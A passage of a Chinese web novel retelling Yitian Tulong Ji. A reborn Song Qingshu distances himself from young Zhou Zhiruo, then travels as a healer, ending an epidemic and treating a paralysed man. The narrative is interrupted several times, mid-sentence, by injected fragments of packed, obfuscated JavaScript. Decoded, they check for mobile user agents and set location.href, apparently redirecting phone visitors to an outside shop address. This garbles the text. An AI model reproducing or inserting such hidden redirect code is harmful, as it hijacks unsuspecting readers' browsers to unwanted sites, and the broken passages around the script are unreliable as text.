老人深邃的目光在他平静无波的脸上短暂停留,似是察觉到了什么,却未多言,随即落在身侧紧紧依偎的小女孩身上,缓声道:“这是汉水船家之女,名唤芷若。其父不幸罹难,只余这孤女飘零无依。我武当门规所限,不便收留女弟子,已修书峨眉灭绝师太,不日便送她前往拜师,也好求一处安稳,习艺安身。” “送她前往”“拜师”——这几个字像极细的针,刺得周芷若的身体几不可察地一颤,攥着道袍的手收得更紧了。 她抬起头,飞快地、怯生生地瞥了一眼面前这位身姿挺拔、面容俊朗却神情疏淡的青衫少年,目光里藏着一丝属于孩子的、小心翼翼的试探。 这样的眼神,宋青书太熟悉了。前世,他便是沉溺在这样的眼神里,一步步迷失了自己。 而此刻,他只是缓缓垂下眼帘,姿态恭谨端方,声音平稳得没有任何起伏:“是,太师父。”随即转向一同前来的父亲宋远桥,躬身行礼,“父亲。” 宋远桥面容端严,语气持重,沉声吩咐道:“芷若年幼遭此大难,心绪定然惊惶不安。在山这几日,你需妥善安排,衣食住行务必周全,不可有丝毫怠慢,需恪尽我武当待客之礼,莫失了道家道义。” “弟子明白。”宋青书应道,话语清晰,分寸拿捏得恰到好处——既有对长辈嘱托的遵从,又悄然划定了分明的界限,“定会吩咐师弟们妥善照料,直至周姑娘启程前往峨眉。” 他特意加重了“周姑娘”与“前往峨眉”这几个字。这不是随口的称呼,而是一道他为自己、也为对方划下的界线,清晰而明确。她是客,是暂居于此的故人之女,她的未来在峨眉,与武当,与他宋青书的人生轨迹,不该再有前世那般错杂的交集。 周芷若似乎敏感地察觉到了这称呼背后刻意保持的距离,苍白的嘴唇抿成一条更显倔强的直线,那双大眼里迅速积聚起更浓的水光,却强忍着没有落下,只是将小小的身子更紧地贴向张三丰,仿佛那灰布道袍的所在,是这陌生山巅唯一的安全港湾。 张三丰的目光再次掠过宋青书沉静的面容,那洞察世情的眼眸中闪过一丝极淡的探究,随即转向周芷若,温言安抚道:“芷若,这是青书师兄。山中若有不便,或是需要什么,尽可告知于他。” 周芷若这才又抬起眼,声音细细软软的,带着江南水乡特有的软糯音调,却因紧张与恐惧而微微发干:“芷若……多谢青书师兄。” 宋青书微微颔首,算是回应。他的目光平静地落在她身上,没有刻意避开,也没有过多停留,就像看待庭院里多了一株需要暂时避风的小草,一块需要轻轻挪开的石子——寻常得不能再寻常。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109833|195845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >心中那片冷却的、属于前世的余烬,连一丝复燃的温度都未曾生出。 他看着她,这个未来将会手握倚天剑、执掌峨眉派、心机深沉、能将情爱婚姻皆化为复仇利器的周芷若,此刻还只是个失去父亲、惶恐无依、前途未卜的十岁孤女。 剥离了前世因痴妄而附加上的所有光晕与执念,他忽然看得无比清楚,也无比……平常。 那一世的自己,真的深爱过周芷若吗? 或许,那所谓的“深爱”,从一开始就掺杂了太多不纯粹的东西。 是身为武当第三代首徒,对自身价值与魅力的某种证明欲? 是目睹张无忌那小子明明身负寒毒、命悬一线,却总能轻易牵动太师父、父亲、诸位师叔,乃至……她更多关注时,那种微妙而不甘的嫉妒? 是一种“你张无忌得不到、忽略的,我宋青书可以珍视、可以拥有”的幼稚争胜之心? 他执着的,究竟是周芷若这个人本身,还是那种能压倒张无忌、仿佛借此便能证明自己比张无忌更强、更值得被爱的虚幻感觉? 不过是争一口气,不过是想比过张无忌。 可笑,可怜,又可悲。为了这样虚妄的“争胜”,他赔上了自己全部的热忱、尊严与前程,最终落得个身败名裂的下场。 山风掠过庭院,卷起几片残存的枯叶,打着旋儿,轻轻落在周芷若单薄的肩头与枯黄的发间。她似乎瑟缩了一下,却没有抬手去拂,只是将身子缩得更紧了些。 宋青书的目光移开了,望向远处云雾缭绕的连绵山峦。他没有俯视她,没有用那种洞悉未来的怜悯,更没有用一丝一毫的优越感去打量这个此刻一无所有的小女孩。 他只是以一种历经沧桑后的平常心看待她——一个可怜人。 和他一样,在命运的洪流中挣扎,被欲望、执念与环境推动着,走向各自或光彩或黯淡、或主动或被动的轨迹。只不过,这一世,他醒了,而她的路,才刚刚开始。 “若无其他吩咐,弟子这便去安排周姑娘的宿处,并知会厨房准备些清淡适宜的饮食。”宋青书对父亲说道,语气依旧平稳无波。 “去吧。”宋远桥点头应允。 宋青书再次行礼,转身,步履稳缓地走下石阶。青衫拂过阶上的松针与落叶,发出沙沙的轻响,他没有回头。 绝不敢,也绝不会,再越雷池一步。 这并非仅仅因为知晓那结局的惨淡与冰冷,更因为,他终于看清了自己,也看淡了那段缘起。这一世,他连产生“靠近”念头的理由,都已然失去。 山风清冷,吹动他额前的发丝,也仿佛将最后一丝前世的迷障,彻底吹散。 前路与后路,皆清晰分明。 他与她,如同武当山与峨眉山,相隔的,从来都不止是千山万水。 15. 行囊载药下峰峦 送走了周芷若之后,这日清晨,紫霄宫的金顶在薄曦中若隐若现,恍若仙境。 宋青书独立于舍身崖畔,任凭山风鼓荡。他闭上眼,深深吸了一口凛冽清寒的空气,再缓缓吐出,胸腔中最后那一点淤塞了仿佛两世之久的浊气,也随之烟消云散。 前尘旧梦,爱恨痴缠,关于周芷若的一切都如眼前云雾,被山风一吹,便了无痕迹。 放下了,才知天地宽广。 身后传来足音,轻若无物。宋青书转身,恭敬行礼:“太师父。” 张三丰一袭简朴灰袍,银发如雪,面容却温润平和,眼眸清澈如深潭,仿佛能映照人心。“气息清和,神光内敛。青书,你似有所悟。” “孙儿愚钝,劳太师父挂心。”宋青书想如果不是带着前世记忆醒来,得以冷眼旁观,勘破迷障,他恐怕仍会沿着旧路走向深渊。 张三丰踱步至崖边,与宋青书并肩而立,俯瞰云海翻腾,“心结既解,前路方开。观你眉宇间已有定见,可是有了打算?”这个武当三代首徒近来真是愈发通透从容了,如同月下清影,清逸出尘。 宋青书目光投向云雾之下,那片隐约可见的苍茫大地:“太师父,青书想下山历练。” “哦?欲往何处?” “就在湖北境内。”宋青书语气坚定,“青书生于斯,长于斯,却从未真正脚踏实地,看过这片土地上的黎民如何生活。如今元廷腐朽,天灾人祸不绝,百姓困苦。孙儿一身医术承蒙师门教导,虽不及精深,或许……也能略尽绵薄之力。” 张三丰微微颔首,眼中流露出赞许与一丝不易察觉的忧虑:“悬壶济世,此心可嘉。然则江湖风波险,人心更莫测。你此番下山,当谨记:医可救命,更需明辨是非。尤其当下,元廷暴虐,豪强并起,你涉世未深,凡事须以‘稳’‘慎’为先,谋定而后动。” “孙儿谨记太师父教诲。此行但以医术行走,体察民苦,磨砺心性,绝不敢轻涉朝堂江湖纷争。”宋青书郑重承诺。 张三丰凝视他片刻,自袖中取出一枚非金非木、触手温润的黑色令牌,上刻古朴云纹与一个“道”字。“此为真武令,持此令,湖北境内武当俗家弟子及一些故旧,或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109834|195845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能予你些许方便。非到万不得已,切勿轻示于人。记住,外力终是辅助,立身根本,在于己心。” “谢太师父厚爱。”宋青书双手接过,感受到令牌传来的淡淡暖意,小心收好。 辞别张三丰,宋青书前往父亲宋远桥的清修小院。 宋远桥正在院中练气,一套武当绵掌使得如行云流水,无声无息间,周身落叶皆随掌风缓缓流转。见宋青书到来,他收势而立,气息匀长。 “父亲。” 宋远桥目光如电,在儿子身上扫过,缓缓点头:“气定神闲,眸正心清,看来是真的豁然贯通了。我听说你决意下山行医?” “是。青书学医多年,多是纸上谈兵,孩儿想用这身医术,去真实人间走一走,看一看。” 宋远桥沉吟道:“医者,生死所系,半点马虎不得。遇疑难,当多思多查,不可轻断。你便去吧。” “还有,”宋远桥看着他,神情严肃中带着不易察觉的关切,“你母亲那里,务必好好辞行。她身子骨虽渐好,心中最牵挂的始终是你。莫要让她担忧过甚。” 16. 行囊载药下峰峦2 “青书明白。” 随后两日,宋青书一一拜别诸位师叔。 临行前夜,宋青书在房中整理行囊。衣物只需几件换洗,医书挑了最紧要的几本,针药、青玉箫、干粮水囊,便是全部。 真武令贴身藏好。 最后,他打开床底的樟木箱,里面整齐叠放着母亲这些年为他做的衣裳鞋袜,从幼时到如今。最上面是上次下山时母亲新缝的棉背心和厚底布鞋。 他拿起布鞋,千层底纳得密实均匀,指尖抚过细密的针脚,心中酸软,更坚定了前行的决心。 翌日,天光未亮,宋青书背起行囊,最后望了一眼在晨曦中逐渐清晰的紫霄宫,转身,踏着被露水打湿的石阶,一步步走下山去。 山门在身后隐入雾中,红尘在眼前徐徐展开。 离了武当仙境,人间气象顿时不同。 官道坑洼,田野荒芜,道旁时见倾倒的农舍,断壁残垣间荒草丛生。行人稀少,偶有面黄肌瘦的百姓拖家带口蹒跚而行,眼神多是麻木与疲惫。空气里弥漫着萧瑟与灰败的气息,与山上的清灵祥和恍如两个世界。 宋青书心中震动。书中“民生多艰”四字,此刻有了血肉。他紧了紧肩上行囊,沿着官道向东而行。 晌午时分,行至一处唤作“榆树沟”的小村外。村口一株半枯的老榆树下,围拢着七八个村民,中间传来妇人撕心裂肺的哀哭。 宋青书快步上前。只见一个头发蓬乱、衣衫褴褛的老妇,抱着个约莫四五岁的男孩,哭得几欲昏厥。男孩双目紧闭,面色青紫带黑,牙关紧咬,嘴角不断溢出带着血丝的白色泡沫,身体间歇性抽搐,气息微弱得几乎察觉不到。旁边几个村民摇头叹气,面露不忍,却束手无策。 “让在下看看。”宋青书放下药箱。 村民疑惑地打量这突然出现的青衫少年,见他容貌俊朗,气质清正,不似歹人,又背着药箱,便稍稍让开。 宋青书蹲下身,指尖搭上男孩腕脉。脉象沉细滑数,几欲断绝。再观其瞳仁、面色、口唇,探其额温炙手,心中已明了大半。他快速翻开男孩眼睑,又嗅了嗅其口中气息。 “可是突发高热,随即抽搐,口吐涎沫带血?”宋青书沉声问老妇。 老妇如抓住救命稻草,涕泪横流:“是!是!晌午前还在耍,忽然就栽倒了,浑身滚烫,抽得吓死人,嘴里冒白泡子,还有血……我的孙儿啊!” “急惊风,兼有热毒内陷心包,危在顷刻。”宋青书语速平稳,带着一种奇异的安抚力量,“速取新鲜带根车前草、灯芯草、井水一碗。谁家有安息香或皂角刺?一并取来,快!” 一个年轻汉子应声飞奔而去。宋青书已解开男孩衣襟,又从自己的药箱内取出了金针。他屏息凝神,回想医典与父亲笔记所述,出手如电,金针直刺男孩人中、十宣、涌泉等要穴。 下针之时,他全神贯注于救人,浑然未觉胸腹之间,一股自下山行善以来便悄然萌生的温热气息,随着他的意念,丝丝缕缕流向指尖,透过金针,渡入男孩体内,护住那缕将散未散的心脉生机。 那汉子很快气喘吁吁返回,手里抓着沾泥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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有常年风湿痛的老汉,有咳喘多年的妇人,有生疮疖的孩童。 宋青书就住在一户农户家里耐心诊治,或施针,或开方,或教他们辨识附近可用的草药外敷。他态度温和,解释清晰,毫无名门子弟的骄矜。 村民无钱付诊金,他便收几个鸡蛋、一把青菜,或分文不取。 日头偏西,宋青书才辞别再三挽留的村民,继续上路。走出很远,犹听身后议论:“真是神医降世!”“心肠忒好!”“定是菩萨派来救苦的!” 宋青书心中并无多少喜悦,反而沉甸甸的。 一村之中,便有如此多被病痛折磨却求医无门的百姓,放眼天下,又当如何?元廷暴政,官吏盘剥,灾荒频仍,底层百姓如同草芥,有病只能硬扛,扛不过便是死路一条。自己一人之力,纵有医术,又能救得几人? 这无力感与救治生命带来的些微欣慰交织,化为一种沉实的重量,压上心头。他隐隐觉得,此番下山,或许不止是历练那般简单。 “侠为医之道,医为侠之用”。 夜幕降临,他在背风处点燃小小篝火,就着清水啃食干粮。火光跃动,映着他年轻而沉静的脸。他取出一本医书,就着火光翻阅,对照白日所遇病例,若有所思。胸腹间那团温热气息,似乎又壮大凝实了一分,悄然流转,带来宁静祥和之感。 他不知道这究竟是什么,只觉每当自己心无杂念、全力救治病患时,它便自然萌动,让自己心神更清明,手下更稳准。师门典籍未曾记载这般情形,他只能自己体悟,谨慎对待,既不刻意追求依赖,也不排斥其自然之用。 远处传来野狼嗥叫,夜风更寒。 离开榆树沟后,宋青书继续向东南而行。时值盛夏,天气转寒,路上所见饥寒交迫的流民愈发多了起来。他尽力施以援手,但个人之力毕竟有限,常感力不从心。那团胸中念力,随着一次次竭尽全力的救治,日渐壮大凝实,已从最初的温热气流,渐成鸽卵大小、温润如白玉的光团,安静悬于丹田之上。 这日晌午,他行至一处岔路口。路旁茶棚里,几个行商模样的人正压低声音议论,面色惊惶。 “……听说了吗?白河县出大事了!” “可是那发热不住,腰筋酸软的疫病?我前日从那边过来,县城都封了一半!官府的人戴着面巾,挨家挨户查,抬出来的都用草席裹着……” “何止!我表兄在县衙当差,偷偷传信说,已经死了好几十,郎中跑了好几个,剩下的也束手无策。李县令头发都急白了。” “说是疫病,可比之前的疫病凶险十倍!发热发着发着没几天人就没了……唉,这世道。” 宋青书心中一动,白河县?他记得父亲笔记中提过,白河县令李文渊似乎与武当某位俗家弟子有旧,为人还算清正。他走上前,要了碗粗茶,状似无意地问道:“几位兄台,方才听你们说起白河县的疫情,不知现在情形如何?在下略通医术,或可前去看看。” 那几个行商惊讶地打量他,见他年轻,虽气质不俗,但如此凶险的疫病……一个年长些的商人叹道:“小兄弟,看你年纪轻轻,有心是好的,但那地方……真不是寻常病症。听说几个老郎中都染病没了。你还是莫去冒险。” “正因为凶险,才更需医者前往。”宋青书语气平静,“不知去白河县如何走?” 商人见他态度坚决,不再劝,详细指了路,又道:“小兄弟若真要去,千万做好防护。进了城,往西城瘟神庙那边去,病患大多集中在那一带了。” 谢过商人,宋青书毫不犹豫转向通往白河县的道路。越靠近县城,气氛越发凝重。官道上设了卡哨,几个用布蒙住口鼻的衙役懒洋洋地守着,见到宋青书,挥手驱赶:“去去去!白河县封了,不许进!” 宋青书拱手道:“差爷,在下是游方郎中,听闻贵县有疫情,特来相助。” 那衙役瞪大眼睛,像看怪物一样看他:“郎中?这时候还有郎中敢来?小子,你不要命了?” “医者本分而已。还请差爷行个方便,或代为通传李县令。” 衙役见他气度从容,不似玩笑,嘀咕了几句,让另一人跑去报信。不多时,一个师爷模样、同样蒙着面巾的中年人匆匆赶来,眼中布满血丝,打量宋青书几眼,急声道:“你真是郎中?可有把握?我县如今……唉!” “在下宋青书,自幼习医,愿尽力一试。需先看过病患方能判断。”他本不欲说谎,但要是说自己习医几年,恐不得信任,就进不得这门了。 不过师爷也顾不得许多,如今是死马当活马医,忙引他入城,再三叮嘱务必蒙住口鼻。 白河县城内,一片死寂。许多店铺关门,街上行人稀少,且都行色匆匆,面带恐惧。空气中弥漫着浓重的石灰和草药气味,仍掩不住一股隐隐的腥腐之气。城西区域更是被简陋的木栅隔开,有兵丁把守,里面隐约传来连绵不断的咳嗽声和呻吟的声音,听得人头皮发麻。 周文渊县令就在瘟神庙临时改成的医棚外,四十许年纪,此刻却是满面憔悴,眼窝深陷,官袍皱巴巴的,正对着几个郎中模样的人发火,声音嘶哑:“……又死了三个!方子换了七八个,一点用没有!你们……你们到底有没有办法?!” 那几个郎中也面色灰败,连连作揖告罪。 师爷引宋青书上前:“县尊,这位宋郎中说愿来相助。” 周文渊猛地转头,看到宋青书如此年轻,眼中希望之火瞬间黯淡大半,但仍是强打精神拱了拱手:“宋……大夫?眼下情况危急,本官也就不讲虚礼了。你可知道这是什么病?” “尚需诊视。”宋青书不多言,“请带我看重病患。” 进入医棚,饶是宋青书有所准备,心中也是一沉。棚内用草席简单隔出数十个铺位,躺满了人。几乎大半都在剧烈咳嗽,面颊潮红,眼窝深陷,余者也是捧着后腰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109836|195845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 部,哎呦哎呦地叫唤个不停。 空气浑浊不堪,混合着汗臭和绝望的气息。几个同样蒙着面巾、面色疲惫的医徒在帮忙喂水擦身,眼神麻木。 周文渊指向最近一个铺位上的老汉:“这是三日前送来的,当时只是发热咳嗽,今天早晨气息渐渐微弱,现在……”他声音哽住。 宋青书上前,不顾旁人惊愕,轻轻拉开老汉蒙着的破布。只见他呼吸急促,每一次吸气都如同拉风箱,嘴唇指甲已呈暗紫色。他凝神搭脉,脉象浮数无力,如沸水浮油;观其舌苔,黄腻而干;再细询发病过程、接触史,并查看了其痰液颜色性状。 “此病发病急、传变快、致死高……更似‘肺疫’……”宋青书沉声道,他想起曾在某本前朝医案中见过类似记载,当时也是死人无数,最后是靠严格隔离与特定方剂控制住的。 “肺疫?!”周围几个郎中倒吸一口凉气,面露恐惧,他们也不知道这是什么病症,正是因为不知道所以才会如此害怕! 周文渊身体晃了晃,脸色惨白:“那可如何是好?难道天要亡我白河县?” “未必无救。”宋青书声音依然沉稳,这镇定无形中感染了周遭的人,“首先,必须立即加强隔离。现有病患全部集中于此,健康者绝对不得靠近。病患所用衣物器具,必须彻底沸煮或焚烧。全城立即开展清秽行动,沟渠巷道遍撒石灰。所有人,凡出入病区者,必须用醋或酒洗手,以布巾浸皂角水掩住口鼻。” 他语速极快,条理清晰:“其次,我需要查看本地药铺所有药材库存,尤其是黄连、黄芩、连翘、板蓝根、金银花、大青叶、生石膏、知母、大黄、厚朴等清热泻火、解毒凉血之品。还有,大蒜!越多越好,捣烂取汁,分发给未染病者内服少许,并以其气味熏蒸居所。再派人去周边收购,钱银之事,还请周大人筹措。” 周文渊像是抓住了主心骨,连连点头:“好!好!本官立刻去办!药材银钱,倾家荡产也在所不惜!”他立刻指派师爷和衙役分头行动。 宋青书又对那几个郎中道:“几位前辈,眼下需齐心协力。我拟一个基础方剂,请各位参详,再根据病患个体情况加减。”他取出纸笔,略一思索,写下:生石膏、知母、水牛角、生地、丹皮、赤芍、连翘、玄参、黄连、黄芩、甘草。此方重在清气凉营、泻火解毒。 “此病热毒深重,易入营血,故需重剂清气凉血。高热不退者,可加重石膏、知母,或加羚羊角粉;重疫者,加白茅根、侧柏叶、三七粉;神昏谵语者,送服安宫牛黄丸或紫雪丹。”他快速讲解方义,那几个郎中见他虽年轻,但用药胆大心细,思路清晰,不由收起轻视,认真记下。 接下来数日,宋青书几乎住在了医棚。他亲自为重病患者诊脉开方,调整药剂。喂药、施针、观察病情变化,事必躬亲。他很快发现,这瘟疫毒性猛烈,常规药物起效太慢,许多重症者等不到药力发挥作用便已油尽灯枯。 18. 行囊载药下峰峦4 又一次,面对一个年仅十四岁、已陷入昏迷、气息微弱的少年,宋青书看着手中药碗,再看向自己胸腹之间那团温润的念力光团。此前他多用念力辅助,增强药效、缓解痛苦,但从未尝试过直接以念力对抗如此凶猛的疫毒。 “或许……可以一试。” 他让旁人暂时离开,静心凝神,将手掌轻轻覆于少年滚烫的额头。意念集中,引导那团白玉般的念力分出一缕,极其小心地探入少年体内。念力所至,他仿佛能“看到”少年肺腑间那肆虐的炽热毒邪,以及即将被吞噬殆尽的微弱生机。 他尝试以念力包裹、安抚那些被毒素攻击的脏腑,并引导其自身残存的元气抵抗病邪。过程缓慢而艰辛,他能清晰地感受到念力的消耗,那光团以肉眼可见的速度黯淡下去。少年额头渗出更多冷汗,身体微微颤抖,但脸上那不祥的潮红竟真的慢慢减退了一些,呼吸也略微平稳。 约莫一炷香后,宋青书脸色发白,收回手掌,感到一阵强烈的眩晕与空虚。那团念力几乎消耗了三分之一。但少年眼皮颤动,竟悠悠醒转,虽然依旧虚弱,但眼神有了焦点。 “有效!”宋青书精神一振,但旋即冷静下来。念力消耗巨大,无法救治所有人,必须用在最关键的时刻,为药物起效争取时间。 他调整策略,将病患细致分级。轻症及中等症者,以改良后的汤药为主,辅以针灸,激发自身抗病力。唯有那些危在旦夕的重症者,他才在用药同时,谨慎动用念力,护住其一线生机,帮他们熬过最凶险的关口。 白日诊治,夜间他还要查阅医书、琢磨病情变化、调整方剂。周文渊全力配合,药材物资源源不断送来,全城清秽也雷厉风行地展开。宋青书又建议将大蒜汁混入饮水中让全城未病者服用,并在各街巷焚烧苍术、艾叶等草药烟熏。 奇迹般的,五日后,新发病例开始减少。十日后,第一个重症患者痊愈走出医棚。半个月后,疫情终于被明显控制住,医棚内不再有新的死亡,康复者日渐增多。 满城百姓得知是一位名叫宋青书的年轻游方郎中力挽狂澜,将他视为再生父母。周文渊更是感激涕零,欲以重金酬谢,被宋青书婉拒。 “宋大夫,您救我白河县上下,此恩重于泰山!这些许银两,不过是聊表心意……”周文渊执意要赠。 宋青书摇头:“周大人,若真有心,便将这笔钱用于抚恤此次疫情中失去亲人的家庭,帮助受损店铺复业,再购置些常备药材,在县城设一‘惠民药局’,聘可靠坐堂医,平价或免费为贫苦百姓看病。如此,方不负此番劫后余生。” 周文渊肃然起敬,长揖到地:“宋大夫仁心仁术,高义如山!本官必当照办,并上书陈情,为您请功!” 宋青书只是淡淡一笑。功劳于他如浮云。经此一役,他对疫病防治、对大规模救治的组织协调有了更深体会,胸中那念力光团虽一度消耗甚巨,但在后续救治中,随着越来越多生命的挽回,竟又慢慢恢复,且似乎比之前更加凝练精纯。 他隐约感觉,这念力的增长,并非简单地与救人数量挂钩,更与救治的难度、投入的心力,以及那份纯粹救人的意念有关。 离开白河县时,有一个“青书医者”的名号远播。 白河县疫情过后,宋青书继续游历。冬去春来,他沿着汉水流域下行,这一带稍显富庶,但贫富悬殊更甚。朱门广厦旁,可能就是饿殍栖身的破庙。 这日,他来到一个名为“渡口集”的繁华小镇。镇子因水陆码头而兴,商旅云集,三教九流混杂。宋青书寻了间干净的客栈住下,在门口挂了块“义诊9日”的木牌。如今他小有名声,很快便有人上门求医。 午后,他刚送走一位腹痛的老丈,客栈掌柜搓着手,面带难色地凑过来:“宋大夫,小店有个不情之请……” “掌柜请讲。” “后院柴房里……住着个怪人。”掌柜压低声音,带着恐惧又夹杂着怜悯,“是个老婆子,带着她儿子,在这儿住了快两个月了。那儿子……唉,说是活人吧,跟死了没两样;说是死人吧,又有口气。看着吓人,又可怜。老婆子钱早花光了,天天出去讨饭回来喂她儿子一点米汤。我……我本想赶他们走,可实在狠不下心。听说您医术通神,能不能……去看看?诊金我替他们付!” 宋青书点头:“带我去看看。” 客栈后院角落,有间堆放杂物和柴火的破旧棚屋。推开吱呀作响的木门,一股混杂着霉味、药味和淡淡腐臭的气息扑面而来。屋内昏暗,只有一扇小窗透入些许天光。角落铺着干草,上面躺着一个裹着破被的人形,一动不动。一个头发几乎全白、瘦得只剩一把骨头的老妪,正端着一个破碗,用木勺一点点往那人嘴里喂着几乎透明的米汤,动作小心翼翼,眼中是近乎麻木的绝望。 听到动静,老妪迟钝地转过头,看到掌柜和宋青书,先是惊恐地瑟缩了一下,随即混浊的眼中爆发出希冀的光芒,放下碗就扑过来磕头:“大夫!是大夫吗?求求你,救救我儿!救救我儿啊!” 宋青书连忙扶起她:“老人家莫急,容我先看看。” 他走近草铺,掀开破被一角,饶是他见多识广,心中也不由一凛。躺着的是一名三十岁上下的男子,骨瘦如柴,面色是一种毫无生气的青灰,眼窝深陷,双颊塌陷,若不是胸口还有极其微弱的起伏,简直与尸体无异。最奇特的是他的姿势——全身僵硬,关节似乎固定在某个角度,肌肉紧绷如铁石,手指蜷缩成爪状。 老妪在一旁泣诉:“我儿叫陈大牛,是个老实本分的纤夫。两个多月前,跟着船帮拉一趟远货回来,人就成这样了。一起回来的人说,路上在荒野破庙歇脚,他被什么东西在脖子上咬了一口,当时也没在意,回来没几天就开始发烧,说胡话,接着全身发紧,越来越硬,后来就……就这样了,再没醒过,喂水喂汤都极难咽下……”她掀起男子破烂的衣领,露出左侧颈项,那里果然有两个已经愈合的暗红色小点疤痕,间距约一指宽。 宋青书仔细检查。男子浑身肌肉僵硬,尤其是颈项、背部、腹部,硬如木板。尝试活动其关节,阻力极大。牙关紧咬,口唇微绀。触摸皮肤,温度略低。脉象沉迟弦紧,似有郁结不通。呼吸浅慢,时有停顿。 这症状……宋青书凝神思索。高热、神昏、角弓反张(全身僵硬后仰)、牙关紧闭……符合“痉病”或“破伤风”之象。但普通破伤风多由金创感染“金疮风”邪所致,病程如此漫长、僵直如此彻底却仍有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109837|195845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微弱生机的情况,极为罕见。且颈上咬痕……是何物所咬? 他询问老妪可记得咬痕细节,老妪只模糊说像蛇咬,又不像,当时天黑也没看清。 宋青书尝试以金针刺其合谷、太冲、阳陵泉等舒缓筋脉的穴位,下针时竟感到阻力,针体微微震颤,男子僵硬的身体似乎有极其细微的抽动。他注入一丝念力探查,只觉男子经脉中气血凝滞淤塞异常,尤其是在督脉、膀胱经等阳经线路,似有阴寒痼结之邪深伏。 常规治疗痉病的方子,如“撮风散”、“玉真散”之类,恐难撼动如此深重顽疾。且患者无法吞咽,汤药难进。针灸或可缓解局部,但难以根除深入经脉骨髓之邪。 他再次将注意力投向胸中念力。此次白河县之后,念力光团恢复后似乎带上了一丝清凉温润之意,仿佛能调和阴阳。或许……可以尝试以念力深入探查,甚至引导疏通那些淤塞的经脉? 这比之前辅助治疗要冒险得多,需将念力深入患者体内细微之处,稍有不慎,可能反伤其本就脆弱的生机。 看着老妪绝望中带着最后一丝企盼的眼神,宋青书暗下决心。 “老人家,您儿子的病极为古怪棘手,常规疗法恐难见效。我有一法,或可一试,但并无十足把握,且过程可能有些痛苦,您看……” “试!大夫,您尽管试!”老妪毫不犹豫,又要跪下,“只要有一线希望,老婆子我什么都愿意!大牛这样活着,比死了还难受啊!” 宋青书点头,请掌柜帮忙,在屋中生起一小盆炭火,保持温度。他让老妪在外等候,关上门,静坐于陈大牛身侧,宁心定神。 这一次他不是简单引导念力辅助,而是小心翼翼地分出一缕最精纯的念力,如同最细微的触角,缓缓从自己指尖探出,透过陈大牛颈后的“风府穴”,悄无声息地进入其体内。 一种奇异的感知展开。 他“看”到了更加细微的层面——那些如同被寒冰冻结而扭曲的筋络,那些几乎停滞流动、颜色晦暗的“气”,以及盘踞在督脉、太阳经等重要通道上,一团团顽固不化的阴寒黑气。这些黑气不仅阻塞通道,似乎还在不断散发寒意,侵蚀着周围的生机。 他尝试以念力轻轻触动那些黑气。黑气立刻产生反应,更加凝聚,并传来冰冷、暴戾、充满死寂的意念反馈,让宋青书神识都为之一寒。 这绝非普通风邪或外伤感染!倒像是……某种极阴寒的毒质,混合了强烈的怨煞之气?难道是……妖邪之物所留? 难道这个世界还有他未知之域? 他想起父亲笔记中隐晦提过,世间有些奇毒或阴邪法术,可伤人神魂,锁人气血。 念力至柔至正,或许正是此类阴寒邪毒的克星。宋青书定下心神,不再试图强行驱散,而是将念力化为更加柔和、温暖、充满生机的涓涓细流,如同春日阳光融化坚冰,缓缓包裹、渗透那些阴寒黑气。 过程极其缓慢,消耗巨大。宋青书额角汗出如浆,脸色渐渐苍白,胸中念力光团迅速黯淡。而那些黑气在念力持续的、温和的浸润下,终于开始一丝丝松动、消融,化为虚无。每消融一丝,陈大牛僵硬的身体似乎就微不可察地放松一分,脉象中的沉迟紧涩也略有好转。 19. 行囊载药下峰峦5 不知过了多久,窗外的天光已由明转暗。宋青书终于将盘踞在陈大牛“大椎穴”附近最大的一团黑气化去。他感到一阵强烈的眩晕与虚脱,连忙收回念力,闭目调息。胸中念力光团已缩小到只有米粒大小,光芒黯淡。 而草铺上的陈大牛,虽然依旧昏迷僵硬,但脸上那层青灰死气,竟褪去了少许,呼吸似乎也略微深长了一点。最明显的是,他紧咬的牙关,松开了一条细缝。 老妪被唤入,看到儿子这般变化,喜极而泣,又要磕头。 